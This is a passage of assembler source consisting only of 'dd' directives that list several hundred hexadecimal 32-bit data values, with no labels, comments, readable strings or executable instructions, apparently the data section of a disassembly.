dd 0F4D435C7h, 215EB0B7h, 18085882h, 944286A1h, 777BF801h
dd 9D4F745Bh, 4059050Eh, 31E9080Ah, 22FA3203h, 13F43507h
dd 850F5701h, 684985C6h, 2EF2A1CCh, 95CE8A1Eh, 8CC80AB4h
dd 7B0B7859h, 0A5509085h, 747CE180h, 0C82D1228h, 1A984B07h
dd 300DE587h, 38687875h, 145726AEh, 0A0F01030h, 107EEB17h
dd 773F0736h, 7014847Dh, 0DFAEC5B9h, 277430C1h, 17BBAD2Dh
dd 84485299h, 0B069815h, 0D032750Eh, 4C3B24C4h, 7E072CA8h
dd 28104245h, 9F619F3Eh, 0CA2D370Fh, 3A2B2E43h, 1FB217F6h
dd 0CAAF250Ah, 6AC1294Bh, 1A1D4298h, 1F07AF88h, 8F649013h
dd 4540C80Ch, 0F2C8605h, 0B55FE0F8h, 4EB88773h, 0D861EF17h
dd 56020718h, 5949DA7Ch, 0F8E80889h, 6B19DD52h, 0C65FCABEh
dd 0F6F85E53h, 24AB5F9Bh, 0BD102427h, 0FCE815E4h, 0B23C9030h
dd 0B81004B7h, 4212439Ah, 576A2725h, 7CE4FE91h, 0BE14C253h
dd 98F4F8DCh, 74A24E99h, 2932E0AEh, 30A18D71h, 27C4DF51h
dd 2FE6BA79h, 27BD9429h, 25FA1CA1h, 0EDBC68Bh, 0C044DFBDh
dd 0E7EF286Ah, 5FB82984h, 0D73E021Ah, 925F1312h, 90C6769Fh
dd 8529C9B9h, 70BB0C31h, 4D830678h, 0EB02F812h, 0FD1CADE9h
dd 87646756h, 21D363EFh, 48F12540h, 29CA6B68h, 9AEC5413h
dd 0FB496AC4h, 0BA2A13C9h, 0BD8D5920h, 0AF995D4h, 0F306D011h
dd 0B388B9ABh, 0FCB026C4h, 24B4AC23h, 4ABF8683h, 7E89AEDDh
dd 0C4B31890h, 0A722B8E8h, 0DE496A27h, 0FD537941h, 0BFAC060Fh
dd 643B7D45h, 0FB53754Ah, 0A6C70632h, 9D212806h, 274F44A8h
dd 7208927Fh, 264A5723h, 0BFE81C40h, 341860F3h, 633D8B2Dh
dd 0FFBB498Ch, 41851FF3h, 741845B3h, 0FCFF4160h, 39752138h
dd 30FF165Dh, 158371EBh, 8DCC2F8Ch, 2C836512h, 469B8704h
dd 72264398h, 8D81BADDh, 0D8B5FFDCh, 7E5247ADh, 9B4CD74Fh
dd 0E1C3AEFCh, 6B446A02h, 0CD7E49F9h, 2F23A9B2h, 6631D615h
dd 452614CAh, 0C12998Ah, 3214965Ah, 0DCB00843h, 1C707D83h
dd 52CF91D0h, 76242620h, 3843DCADh, 0B1F091FCh, 4B89442h
dd 8E492F24h, 17C4FF0Eh, 1284C590h, 0EC4AD8Eh, 6802FAACh
dd 0B47CA3E4h, 6A1407D2h, 45F265DBh, 2A932214h, 0FC978D50h
dd 0B15752ACh, 302733EEh, 32527159h, 25D9DADCh, 913DD88h
dd 993453D6h, 0A7AEEC95h, 8B49B30Ch, 57184D64h, 7518088Ah
dd 0EBD61605h, 3FA4D54Eh, 5FE6B5D2h, 2AFB025Eh, 201C5813h
dd 8A59BFA4h, 6928FEE9h, 463C9C55h, 0FC2C6BF8h, 0B5E9D3F5h
dd 23CE3E68h, 23F03265h, 0EF8D5618h, 0AF924FB3h, 8A456FE2h
dd 45140B60h, 0F0F630A4h, 62A7A377h, 60855FA0h, 9F33145Ah
dd 2EEC8349h, 0FED645F7h, 0EFA0C1D5h, 6089B70Ch, 50D65929h
dd 19F459CBh, 22562616h, 6F09CF11h, 44759633h, 634E5FBh
dd 44EB70E0h, 0FFAB2801h, 69343526h, 7B305D2Dh, 4825A1E3h
dd 4C8362BCh, 0BEA49FD5h, 3AEAA803h, 0D2868A1h, 5F0F4451h
dd 0FF6165AAh, 52942B64h, 6CF8E3FAh, 0D64CB027h, 6EDCAA55h
dd 8F47C409h, 99A6EE6Dh, 4A02109Ch, 84E524FEh, 25158E2Fh
dd 0C096F527h, 75954C92h, 5826CF94h, 0EB786EA4h, 0B71CAE17h
dd 9EB5E5DAh, 0BD759533h, 7FC6315Bh, 438C4B05h, 990C2787h
dd 8F49BE30h, 54BB2D41h, 0E95B0222h, 369A5A55h, 42F7DB41h
dd 0E45E161Ch, 0DCA648BFh, 0F5A6944Fh, 0DCBD9B22h, 0FB2B13B3h
dd 44356921h, 18901D52h, 0CBB00D74h, 0EB03F82Fh, 5D99E2C3h
dd 6A2B85D9h, 0A589D17h, 0B5107664h, 540054E2h, 4054740Ah
dd 72C83B62h, 85B178F0h, 0DAF4677Dh, 18FC94C1h, 0ECC47E91h
dd 6D742170h, 0C853174Ch, 0DCA18830h, 30AAD513h, 407490D2h
dd 0EB099392h, 28C068AFh, 57721F3Ah, 0F46BA0F9h, 6213EA54h
dd 29B59868h, 8E285714h, 0FD233568h, 4378554Ch, 2F6A5603h
dd 2D48FEF6h, 0E088D6E7h, 3F847A46h, 0F18053C5h, 135BE445h
dd 0A4083D8Bh, 0F2A95034h, 0C1E92C7h, 0F05232ABh, 0EC33C1DDh
dd 0FD58B768h, 16985A99h, 0B748D357h, 22174238h, 0D0DC9581h
dd 0D21DD04Bh, 0D77C32C4h, 0DC9559E6h, 3A4CCDABh, 0B7D486CCh
dd 8C42EB9Ch, 7BAD89D6h, 77D2E1E1h, 0C8664244h, 0FE55CC06h
dd 0C78C6D7Dh, 22F3508h, 7E7DBBCCh, 49CA68DAh, 0B8526155h
dd 8488EC3Eh, 0B9BABC75h, 0F508C947h, 112A152h, 0AC526193h
dd 0A5C299BEh, 0D8C6029Eh, 0CFB244A3h, 500AF816h, 26D49E08h
dd 83B6C23h, 0C83E0C9Ch, 574844Ch, 1EBE3D1h, 0FB54F270h
dd 56A7283Fh, 24FE2E98h, 15CA54Ah, 8EBAA30Bh, 0DC4D44EAh
dd 4A24F2AFh, 188F22D0h, 0FF7EB7E9h, 55445192h, 0B2AEA05Ch
dd 0A5819604h, 37892487h, 4E5D2775h, 0FC8822E8h, 48A4F021h
dd 0D1FC2711h, 0D8F17D72h, 4167F5CBh, 4755404Dh, 7E43B1EAh
dd 74A847ADh, 939F0762h, 0B010D7C6h, 0ADD6EA96h, 8AEBB253h
dd 214C41Ch, 39CCE412h, 18943D5Fh, 541912C3h, 0CABEC399h
dd 16C7802Fh, 57814E1Fh, 0BC91D8C5h, 98448998h, 553751Ch
dd 9298A166h, 0FD99BF43h, 0B4D4C5CEh, 58318617h, 5FA7E42Dh
dd 6AF8ED19h, 0EA48FCE6h, 7486256Bh, 62B70FA0h, 0F99CD54Ah
dd 11B02789h, 194813EBh, 0A7702568h, 97B594FDh, 1A75EA82h
dd 0EC4E74F2h, 0EDD6B38Bh, 69EB4A95h, 0DE243FDAh, 0ACF0800Ah
dd 0E37E47D9h, 32066CE7h, 9F99AC5Ch, 0A087B34Ch, 0EC842091h
dd 1A1D6EA6h, 25A6D568h, 1D5A8021h, 1163EAA7h, 0F0E04BCCh
dd 2E538962h, 0EC3510A9h
dd 9AF2EA06h, 0ED7AF574h, 39B7937Ah, 37C65727h, 0F068E8BFh
dd 30785F74h, 48BE71E2h, 7E957C98h, 0B8816228h, 0D628140Dh
dd 0C49D5C8Ah, 9E6F2D30h, 0B9A343E5h, 0C08C6FCh, 68FE8159h
dd 995972CBh, 82960937h, 74678C8Bh, 0D4AFB55Bh, 0A8BF8068h
dd 0D0007B3Eh, 7C8366B7h, 1424FE47h, 0F647559h, 50A5800Bh
dd 6260E5Bh, 46BC93A3h, 0F9A5E010h, 0D49AAC7Eh, 0C54EBEDEh
dd 0FC5CF09Eh, 33827619h, 643EF855h, 0F3FC859Eh, 0FEBE1028h
dd 0B8136243h, 5B3E38A5h, 88625499h, 19293CA5h, 0B55E7557h
dd 7D52F1DEh, 44027484h, 0B8EBDB33h, 55689C1h, 248A15C0h
dd 465C53C8h, 1753A2DCh, 67A93888h, 30FC791Ch, 90246FDAh
dd 8E5DACE0h, 0E0F2E043h, 0F2539117h, 53421443h, 0F22F196h
dd 0A8DC109Ch, 0B9F1A4CEh, 0A8C52031h, 48E0230Fh, 602877A3h
dd 5C91209Bh, 6BEB5726h, 7F4B9D54h, 6F537B69h, 619C2174h
dd 7771A448h, 57178520h, 2FE4D5B8h, 0F062D273h, 0CC021A58h
dd 98D77198h, 5FB3FCFFh, 0BE9F1241h, 0E0837230h, 0A13C7201h
dd 1D85A693h, 0FB41FB80h, 0BEF1E537h, 0AC2156F3h, 0B7C17A04h
dd 785D0A6Ah, 2EE01C99h, 14691414h, 0E230FFF2h, 752803F8h
dd 6BDD0F63h, 0A0F0E72Dh, 0C9D18F10h, 0E8A52E9Ch, 2CC3FE78h
dd 0DAE6DD1h, 27534185h, 0CBF02132h, 325FA2E1h, 0A588C44Ah
dd 53521978h, 1A35BD61h, 0BE93F56Ch, 0F7A0FDE2h, 43B247Ch
dd 80CCCA8Bh, 44E79728h, 5CA0F52Fh, 0FC63B59h, 0FDBA8725h
dd 3AD8B799h, 478C609Dh, 21EC766h, 9889519Ch, 511DDF0h
dd 77A96ADCh, 0BF506A84h, 0DACB7CF6h, 189F4D5Fh, 4D8D496Dh
dd 12AF96D3h, 9E8BFE43h, 682D5730h, 0ADE52003h, 0D507E2A5h
dd 429DACC6h, 0D5D44A4Fh, 0AD8EB2CEh, 4C7FE0Fh, 0F051DA24h
dd 0F2D1A1B8h, 0A5618E4Dh, 0EA56219Fh, 0BB4CED0Ch, 23EA1A68h
dd 4C297F03h, 0F05ABAFAh, 5C128EF2h, 5974E7A9h, 0B8094091h
dd 12AAA04Fh, 0DDB2BF6Eh, 6A6674DBh, 41EC2460h, 74FD3FF0h
dd 0EDB8518h, 3D657608h, 7CECF422h, 0BF03EB85h, 0C0F052B4h
dd 3BC82BFAh, 6A9E73CBh, 313F411h, 1DCFAAC6h, 106743Eh
dd 6429085Dh, 743B57CBh, 96CD1932h, 2CFA042Bh, 0D25D861h
dd 1E8A70F4h, 4C0855D9h, 0DF13F01Dh, 759EE00Fh, 5AE8CE05h
dd 0DBC7FF66h, 1F9C7D2Dh, 3DF08ECAh, 0E87D5966h, 7FC9A3D8h
dd 0C7D8B84h, 0F69BA28Bh, 0CF9A2F8Ah, 0A22F3F1Dh, 51DEEBEFh
dd 8C6C1711h, 0E0B76A9Fh, 8B03FC8Ch, 8CC40E04h, 0C84443ABh
dd 70CC317Ch, 6043D00Ch, 0C450D410h, 0DC3140D8h, 43E00C30h
dd 14941020h, 0C21098CEh, 10AAF09Ch, 2186E0A0h, 0A888D4A4h
dd 0B0AC62C0h, 18A0B21Bh, 218690B4h, 0BC8880B8h, 5CC0626Ch
dd 8648E418h, 46D1B583h, 0EC0E8ADAh, 0F08A0E20h, 0F4880710h
dd 0F4F86704h, 8BC5ACA9h, 745A819Ah, 942C485h, 0DDCD8A1Eh
dd 0FE491223h, 52F69F56h, 8D05900Fh, 0D12D301Ch, 755EF8EBh
dd 0D80248DEh, 280C6A15h, 206C9488h, 12F8568Bh, 8E7D3A90h
dd 0D1383408h, 51F791EEh, 28B1E2EEh, 20B40DE4h, 0E126974h
dd 440C203Ah, 0C889CFE9h, 26694132h, 0C3FE31F0h, 22D82BDh
dd 499A45Fh, 33832EC4h, 22C9CB4Fh, 331CC113h, 5049F7D2h
dd 5DBD8951h, 6816A8E4h, 0B0A3A990h, 0D71794CBh, 7CB2B35h
dd 3530C412h, 3809EFFAh, 0F4735557h, 60C85EA7h, 15180BBh
dd 0F38B1DC0h, 0DD0E10BFh, 6AEFC520h, 2B8D093Ch, 0F3D5ADEh
dd 0CCF6F7C1h, 0F0C633F2h, 0F55D58F5h, 8F9FD6Eh, 0E21DBF50h
dd 0F090BE0Eh, 4592F931h, 0D6A3AAF3h, 1C713227h, 7C7157C9h
dd 5A0B7C49h, 55A59074h, 32A66EFh, 57E76C4Bh, 0B5A13938h
dd 5525A22Ch, 3A35CECh, 0B95F5EA2h, 1889461Fh, 0D35541EBh
dd 4FD2D57h, 73BE34FAh, 1ADA2C66h, 0ED054291h, 0E0D11921h
dd 0C24239A2h, 0BEB0352h, 9F890231h, 0D0D95E07h, 40744825h
dd 0E40F7042h, 0FF685231h, 0AFFA8B1Ch, 22CCC054h, 49C3482Bh
dd 56D71B02h, 46575052h, 0A935D4F5h, 72D77701h, 0D9DE3B04h
dd 1234B9D1h, 31BB5764h, 0AACA8B20h, 0F0481616h, 77580098h
dd 8305725Bh, 0DD5058FEh, 244B6A1Bh, 777722F6h, 124710A1h
dd 83B3142h, 18328937h, 2644842Bh, 1B428C21h, 19461E22h
dd 0A090B21h, 30D15673h, 1BC62B20h, 0C303D105h, 0CABBD713h
dd 0D9E8278Ch, 9F542DC3h, 8724FF69h, 0A4BCAAFCh, 0D855E49Fh
dd 0F3A1DB33h, 4532338h, 3C9D3952h, 44042622h, 674A0733h
dd 2A489ABh, 83610210h, 18D963A8h, 0EB291CFCh, 3C2CC970h
dd 90096019h, 55881825h, 451965CAh, 0CE091425h, 6C855B92h
dd 85B3433h, 2944102Ch, 12A40162h, 3117220Ch, 0E0218A02h
dd 74149797h, 0C104217Dh, 6B382F75h, 741726F2h, 8C67BB27h
dd 0DD18E97Eh, 0B421BD66h, 4914486Bh, 0FC7D3344h, 2BF9A14Ah
dd 3E3F6A1Eh, 0FDA4850Bh, 79FFE677h, 0A10B8CA6h, 124CB8B4h
dd 0B726FAFAh, 8D0D1B60h, 7DB94D4Fh, 9CDF2741h, 0C470BFFh
dd 4EA4BC5Fh, 116DBAF8h, 4EFA64BDh, 84990430h, 0FC1C21ACh
dd 0B195E83Eh, 0BE14FB18h, 0EC2275DBh, 0F7466A26h, 535D7819h
dd 767AE93Eh, 0C871749Fh, 881C219Ah, 17A04BC4h, 656A0C44h
dd 0ABC8DC20h, 0CD7DB7CFh, 0A5339C99h, 4928DD44h, 0BC44966h
dd 22BBB14Eh, 4DD618B4h, 0D06E7425h, 3D85F818h, 9828867Ah
dd 909111F9h, 85C29D12h, 2967520h, 7E07EC52h, 97734CBDh
dd 0D6E85E7Eh, 0F7C96A48h, 0D097EA44h, 642F989h, 938193Ch
dd 45397D46h, 21C27E98h, 0D8E25DD4h, 0BABDB523h, 21C8E171h
dd 66ADC4D0h, 0D99E2CF3h, 9C680929h, 41D6D542h, 2D7975E9h
dd 0BF5040BCh, 845B5B56h, 80BE5602h, 1A57068Bh, 0EA795750h
dd 4BBC3DC2h, 42758190h, 251C28A1h, 1DA883C4h, 0B7B6B898h
dd 16201345h, 9EACF068h, 0BCF659C6h, 0B21F5B42h, 0E4CEAC90h
dd 0E8CB51F1h, 0E052BE18h, 0E6EC4A0Ah, 0B93674B2h, 2C101216h
dd 9FB740Eh, 43C15EA2h, 0FB1CA2ACh, 0AE5C9618h, 6521FA8Ah
dd 0C9FCA488h, 0FD4914F6h, 0F2902BC9h, 8DBB5704h, 0B1AC3E11h
dd 2395F420h, 4FADD082h, 0D061EAB0h, 8A7AFE38h, 0F60E4188h
dd 0BCF2D316h, 12F9CAE4h, 813C6AE2h, 575FB896h, 0FD02E32h
dd 67D891Ah, 2AF4FA5Dh, 0F863FCA8h, 0E006C8D8h, 0BC074430h
dd 0A659E08Fh, 0A6CA9D18h, 0DDC7FDD4h, 5D390008h, 0FF1576CCh
dd 9A986CD1h, 57734212h, 0D85039FCh, 75B73D0Fh, 0B3E61E51h
dd 0D412299Bh, 1DE0651Eh, 32A76B1Ah, 1A96DC12h, 0B3FE09F5h
dd 0E4122BAFh, 69539C1Ah, 36A052Eh, 79512750h, 5F4ABA77h
dd 0A85A71CEh, 0F3097DF3h, 0F2A45D74h, 0D228ACF8h, 77EEF2EAh
dd 2D26FEA5h, 60EE9C45h, 3C74FC15h, 0D303A2FFh, 0A271485Fh
dd 2B12ADB4h, 70674C2h, 0FA416924h, 57F65CF5h, 0F4380F96h
dd 0A304DF59h, 0E37AD30h, 0FAA484F0h, 2C2D9D3Ch, 0C214D6FEh
dd 3011FAA4h, 0B1A8A758h, 0A425BF27h, 0FC7D1ED7h, 402485FAh
dd 0E58BDC25h, 0B50930FCh, 0D49FFE28h, 564854FBh, 0CCBEC4C8h
dd 126A13E1h, 3ADE2905h, 0B4120CBDh, 0A9A3FBCCh, 101F724Bh
dd 144FB15Fh, 0D418872Ch, 7D8D62BDh, 79DAF45Ch, 0A4A5B1A8h
dd 5A1082D1h, 0FEC20BEBh, 6456445Fh, 9FA17A5h, 54D92F8Ch
dd 0A8F04E0Ch, 0F6332F10h, 84856603h, 63F1A75Ah, 83A7942Eh
dd 2F03100Ah, 1974C62Bh, 5664D148h, 96B3BC6Bh, 0FACECDBFh
dd 0FC85E07Ch, 162B14EBh
dd 120EFA2Bh, 96E7AE53h, 6E1FA15Fh, 90F45CE4h, 0F8CAEF42h
dd 862F8EB2h, 0A6507822h, 0DCAFED11h, 7E79005Dh, 0CEB5B89h
dd 1C744876h, 8AAA70ECh, 179A7917h, 267C3733h, 0FA7EA396h
dd 0CFC4243Ah, 94951586h, 0D9885AB7h, 0F244EE45h, 36C87D24h
dd 4C4202EDh, 0E412A3E8h, 39B9EF66h, 15BFD867h, 84F015D4h
dd 0EC0BE054h, 22DC4384h, 9B5CA2F4h, 0EA083171h, 6BC6A094h
dd 0E8A0CEFCh, 0F6B5FF33h, 500770D3h, 0EB46D4B7h, 6EB8DAC1h
dd 0BCF2D4ADh, 0BA732C33h, 147FA7BFh, 68A6B710h, 6A4A45C4h
dd 4E78C7E0h, 0A4D8ADFFh, 9F321026h, 0E4AA5153h, 0BCA78E22h
dd 139E46F0h, 0E2C78B24h, 6F0C3A92h, 276E0605h, 0BBDA62EBh
dd 0E8947F95h, 49B56CBFh, 56255A6Ch, 539289E7h, 4CA02E65h
dd 3F58B7EBh, 0A332C852h, 322D423Ah, 16121DFh, 3E8835Fh
dd 0C1294E74h, 2A5CA720h, 0F03ACB11h, 0B7530E74h, 24535DD6h
dd 91E5B77Ch, 5A3F43EAh, 0D183D84h, 0BF5BA55Dh, 0E3480F56h
dd 6E95BF96h, 382CE2ABh, 681D536Ah, 5EB2122Fh, 97129E02h
dd 62BF31C9h, 28FF4E4Fh, 1973DD0h, 80BE0FA9h, 68501540h
dd 2FB291D8h, 3128EDEh, 176840E3h, 0F11C5953h, 6484B97Dh
dd 0F7AB575Ch, 0C372133Dh, 0E2755850h, 582DFF68h, 9419544Ah
dd 2C193C6Ah, 54F08F1h, 0D0BFE775h, 0F4AF7207h, 0DE0C903Eh
dd 6434296Bh, 0DFE13490h, 0F3C38D25h, 370D4558h, 0FF03230Bh
dd 0E675FC4Dh, 5B35CBF4h, 25CE3BABh, 0D4EF578h, 2B94D686h
dd 8EBF7816h, 0D8BE964Ch, 0A6852840h, 0BD08A256h, 0CC9AFB59h
dd 28D65503h, 52C1F709h, 147405BAh, 0EA41018Ah, 0F40D50Ah
dd 5F17541h, 28500DA4h, 0FEFF38CAh, 0D0037E83h, 33C1F083h
dd 4C1D4C2h, 71C4A95Ch, 0E8748103h, 3AFC418Bh, 0E42E3259h
dd 0C9A915BEh, 0F137C66h, 28110DFh, 418DCDEBh, 2B5681FEh
dd 1490C3C1h, 16FDB2FEh, 0EE4AFC47h, 8357B443h, 465C07CFh
dd 0CB40A80Ch, 3A474ED4h, 3452DE9Eh, 2BD40491h, 421154DAh
dd 877C5D3h, 121308DDh, 7D1922A2h, 0F3EB6105h, 721C642Fh
dd 0B154BFBFh, 0EF668343h, 0F8C65904h, 35E2B70Eh, 766DF4F4h
dd 17F00245h, 88A1095Ah, 6ED14DD3h, 0D531614h, 6A5917D7h
dd 0A33674E4h, 5842E236h, 4F3A5D09h, 0E8267513h, 94FCCE5Fh
dd 72E41523h, 5E743D66h, 882E92C9h, 0C962E49Eh, 0DF0FEB27h
dd 8435C523h, 55B89F4Ah, 9329ADD6h, 0C2290AFh, 0E7B8AF0Fh
dd 0D1D1C3B7h, 972E85CFh, 0A94D37B8h, 0ABD9B05Fh, 1488A0C7h
dd 0DEF75166h, 7774DBC7h, 0C08FB73Ch, 0C78DEBCFh, 2E10C10Ah
dd 8650F626h, 0BB2A4E1Ch, 3B234520h, 28F9F2C8h, 4EF70272h
dd 0BDE4CC57h, 7D29200Eh, 47E6708h, 82463E95h, 0D2DF03h
dd 3B4BEBFCh, 2E72144Dh, 0C205AF9Dh, 540974C1h, 12C0366Ah
dd 496BD0BFh, 0E9842553h, 0E31234BCh, 503732E4h, 1403D929h
dd 0D818EBD8h, 25E3DA9Ch, 88288E60h, 43870354h, 8BF4A2F5h
dd 8F775C97h, 4AB07685h, 10301712h, 0F20C4E83h, 0D0464EBh
dd 0B84E8620h, 0BE7E2B6Dh, 92E5FA02h, 0EC2C08E8h, 1A0EA5BFh
dd 0F4625F66h, 7DC8DF2Eh, 4FF6DC33h, 1113352Ah, 7B241589h
dd 0B82F5375h, 7B985A02h, 0E0FE3DFFh, 2DD3879Ch, 868B3A3Ah
dd 0D94BD2D6h, 183B9697h, 4C775BF6h, 90AF0096h, 0A620DF36h
dd 367529C2h, 6BDA0BB6h, 481B44F7h, 43825D2Dh, 0EDE248FCh
dd 0CBD61EABh, 1D375712h, 0ABB54D7Ah, 17E535BEh, 94DAF5D2h
dd 4A92431Eh, 73C6148Ch, 0F0E6240Fh, 165079B7h, 219FC9A0h
dd 412A7A2Fh, 6651E44Fh, 51478C93h, 21F59F14h, 3D68475Ah
dd 1CA0514Ah, 0E81D4B75h, 98BE223Ah, 2FAF843Bh, 0C3F9B2EBh
dd 2FF0A0Dh, 4545094Dh, 65962534h, 0B12492Ah, 0C2770954h
dd 876F614h, 0BD565492h, 395E1009h, 0E26AD51Fh, 0F6FC8B95h
dd 8A09C9D0h, 0C4836D2h, 629C8829h, 0B7C0CE74h, 8B045873h
dd 4EFC1FEh, 87522A85h, 3A349E67h, 8975FCEFh, 0EB422105h
dd 0E5115732h, 0B35270Eh, 503B60Fh, 0E57604F8h, 8E36AEABh
dd 0A6D9903Bh, 0DF928231h, 289DAD6Ah, 0AF424314h, 3E14EB12h
dd 0FCB0621Dh, 0E8210AFEh, 1BEF1AC5h, 445259Eh, 0F7333EECh
dd 23241422h, 0F92FE6Bh, 0A2691648h, 752F160Dh, 0C61CCCC2h
dd 493DED23h, 7A50E9EDh, 443C5FDh, 92CD2840h, 6AC3171Dh
dd 228AEE40h, 92828F50h, 0BCC36D55h, 0D1BDA79Ch, 0C7AE8B98h
dd 0FB090B89h, 8A81B0F0h, 0C227BB22h, 1861F328h, 42443916h
dd 14A61074h, 0DE407584h, 0ACE199C3h, 5B116BBDh, 26C43715h
dd 4BCDB23Fh, 8661C161h, 0B7485A62h, 0BA9C816Ah, 2D708D12h
dd 77C858F0h, 86E91F5Bh, 0CC82F05Eh, 285C3FFh, 0DEB1E57h
dd 0A04CB76Fh, 2801ACCCh, 0BAC8548Bh, 0D2850A40h, 1A8C4774h
dd 82C2C58Ah, 4FD4055h, 0F72D1D72h, 3E1CCD9h, 0D1002BDAh
dd 49470788h, 5F8BFA75h, 6226FFC8h, 0CA10440Fh, 0CE28330h
dd 1B7402E9h, 77ABF306h, 4A4549B6h, 0C35F7F8Ch, 61AE040Dh
dd 570CB9C4h, 7A0F4AECh, 0D96A5356h, 0F71484E4h, 6E0EB5C6h
dd 0D686D3D5h, 56FEA83h, 68A21EBh, 74640446h, 2902B025h
dd 753420A4h, 1E165CEBh, 84E32A0Ah, 98210D14h, 304B2F3Dh
dd 10BFF375h, 0CEC45E5Bh, 66B2C7F7h, 0B53B1228h, 128447C6h
dd 3BEE7529h, 34336C1Bh, 6156FA5Eh, 3B178996h, 4BC84C86h
dd 8B7F21AFh, 9E812D06h, 0C6120A66h, 50DE83D8h, 0E82CC884h
dd 251EF0F6h, 8191C2F7h, 9308450Ch, 7458C665h, 0E2811EF5h
dd 150C2677h, 32848B0Eh, 2AD3E204h, 0AC333654h, 500A7C0Ah
dd 55756007h, 85D5B1F8h, 5317A44Ah, 0D253F855h, 0D0846F03h
dd 7ECC1643h, 703050Fh, 0CFE4AB6Ah, 10B54BEDh, 8B090F31h
dd 0C220780Dh, 8341048Ah, 81DDE048h, 0D2EB4703h, 0A6372C9Dh
dd 4BEF28C9h, 0C5C41DEEh, 504752Bh, 62DB3310h, 8FD0C44h
dd 0BC241A5h, 703D91A1h, 0D8F4807h, 629B4E8Dh, 80D0465Ch
dd 83CFEB31h, 0C386C0FDh, 0D8F70275h, 4E18129Fh, 0CEB02677h
dd 1CA1029Dh, 0DFFA43AEh, 0D0FF0202h, 0F8902868h, 0BE144B29h
dd 7FB20DC8h, 0F10514Ch, 0EF9114C2h, 385C09AFh, 84B3B1EDh
dd 69A323DEh, 39859C74h, 291243Dh, 33931175h, 0A219AC08h
dd 8182D2FCh, 0ED7B0CFEh, 89140603h, 1447203Dh, 291C1D88h
dd 9CA13C07h, 9875D9D3h, 0C0980DEEh, 718D5615h, 0F01F3BFCh
dd 6951372h, 0EE838598h, 803528C2h, 5EED7323h, 95345268h
dd 0F7482C21h, 1140283Eh, 2963843h, 10755BD6h, 34897B85h
dd 2C8CFA87h, 65119E5Fh, 73AB453Bh, 558750Dh, 0BAEDEBEEh
dd 53AA5A74h, 0D621BEFDh, 0DDEA8DE0h, 0F3424424h, 5AF55AF1h
dd 49E41C97h, 0AA107F52h, 4AB43FEFh, 0F08BE440h, 64086578h
dd 0C013FEE0h, 0DE4B5D1Ah, 2AEE6369h, 0AAA2FC5Eh, 5412A38Eh
dd 6405E58h, 0FDC03D69h, 53E8DCCh, 2A269E9Ch, 89D8BD16h
dd 0BE9E256Dh, 414C5096h, 8A565362h, 49026211h, 13693D72h
dd 754F0171h, 35F7EC4Fh, 1F07FA14h, 53D03846h, 0BEA4F15h
dd 100B066Ah, 0F575170Ah, 0A85F960Bh, 0F0161127h, 7E8D1803h
dd 261D1FFh, 28342868h, 43CE1E22h, 0C475E038h, 9D0341C9h
dd 66C31865h, 7AC183FFh, 0EBDF1B23h, 6B1260B1h, 31C0C28Ah
dd 368D96B9h, 0F41BFF47h, 0FA0DC768h, 0C14CA56h, 0E41AECFAh
dd 0B10AC29Fh, 0F94E1000h, 71DDBAE5h, 0D913122Ah, 78F82F74h
dd 80217281h, 753AEC7Bh
dd 0D4251B4Eh, 95AAF685h, 0FBF69107h, 80A98F29h, 431CBC66h
dd 0F90AEB4Dh, 0B36DF222h, 6ADDEA82h, 0BEAF40A0h, 0E8AA6FFh
dd 8A657408h, 0D1C60093h, 0D26182F6h, 460D090h, 1AEB4048h
dd 2FF93C80h, 5C0A0F33h, 2E010AEAh, 0D02E0B75h, 488D06ECh
dd 4D250178h, 4554FC0Ch, 0A539A1CFh, 2A680573h, 81365DBFh
dd 3BFB2B1Fh, 746A2CFEh, 1095DE96h, 31BB5A7Bh, 0C2072485h
dd 221EF177h, 104D0882h, 2198C985h, 0C0FC7D24h, 0FB3B4C77h
dd 0FB44872h, 14643F23h, 7D788877h, 4461C418h, 62B0AA2Bh
dd 974ED273h, 2C57A567h, 3E5E24E1h, 46917AA1h, 2B170A14h
dd 536522C3h, 8895203Dh, 0CAD6FD18h, 5101403Ch, 0CE493D5Ah
dd 7226A28Dh, 6821F714h, 432D12C5h, 40CD8511h, 2BEC7318h
dd 0C46E8BC8h, 0D4E18E1Ah, 4400982h, 0ACF1A50h, 26B7DF8h
dd 0E87FFB69h, 9036EB8Dh, 560C2DB3h, 12A10489h, 4278044Eh
dd 48400EE3h, 89764101h, 1907EB2Dh, 0CC6959B9h, 1C091625h
dd 5EB8675h, 0D9750957h, 79292780h, 1FE5D25Dh, 0D7087D3Bh
dd 0EB6A0BF1h, 0FB943CD8h, 849DB5F0h, 0C8B3D91h, 0ADA47453h
dd 8A08A920h, 77488D1Fh, 63F94181h, 0D2C3C8DFh, 2BD6DCCCh
dd 0F405DF2Ch, 0EB46031Eh, 2DFB80D0h, 619F6D72h, 503140Fh
dd 162B1C36h, 0AE27D231h, 8C0F7BD1h, 442929C6h, 9223BFEh
dd 8F222479h, 396A637Ah, 5EEE7559h, 4374302Dh, 870AEBEEh
dd 5321608h, 0C7783C05h, 485845F8h, 1F440813h, 399612C7h
dd 17753706h, 48125553h, 0D03F0420h, 1385EADh, 0C816C246h
dd 10E9D0FFh, 0A9D303BFh, 0BD47E4FCh, 94F3A640h, 8E90DE5Bh
dd 1ACBBE3Dh, 14E230E9h, 570B2BECh, 8B66632Bh, 0C7235819h
dd 0FF054A57h, 2FFBCBA4h, 84D259B3h, 8D3B3728h, 78367325h
dd 0C3EE8AEEh, 42F4BA8Eh, 141262D8h, 48CAFE84h, 3960576h
dd 0AF0F0994h, 0F1031C0Dh, 963E4C89h, 8A240626h, 0B68FFC18h
dd 0F838BA72h, 0D55ECC4h, 8C1F60Ch, 5F692D40h, 0FC24BAFDh
dd 4DEB4382h, 0B8042A17h, 1C75A621h, 4201149Dh, 2E1833Eh
dd 7D810640h, 800234D8h, 0D830F377h, 392C1F75h, 27764445h
dd 1B7C0F6h, 0DC4B05C7h, 7F228DC2h, 0EBFF8438h, 80B51166h
dd 0D9F60760h, 41F7C91Bh, 0B389C803h, 7A05BB28h, 61026DF9h
dd 0F8F13490h, 0D4D8F734h, 0E0288F5Eh, 21FA99Bh, 239838D6h
dd 1F014C6Ah, 74A33FEDh, 4270880Bh, 5572BDF6h, 5BFBF86Ah
dd 597FFC85h, 65BAF952h, 0C4C4FD13h, 95EBE6FCh, 0B540E8ABh
dd 5F117796h, 0FDFCC88Bh, 0D892735Eh, 209629C7h, 7A2675D2h
dd 0C9830288h, 41AEF2FFh, 8A4FBD82h, 14FD9D86h, 7384709h
dd 2FE9174h, 5FFC5E84h, 30142DC9h, 83417BE1h, 0D9E926E3h
dd 0F7B673BFh, 0F4895C4Ah, 64DB61CBh, 0A612F39Bh, 8B03468Ah
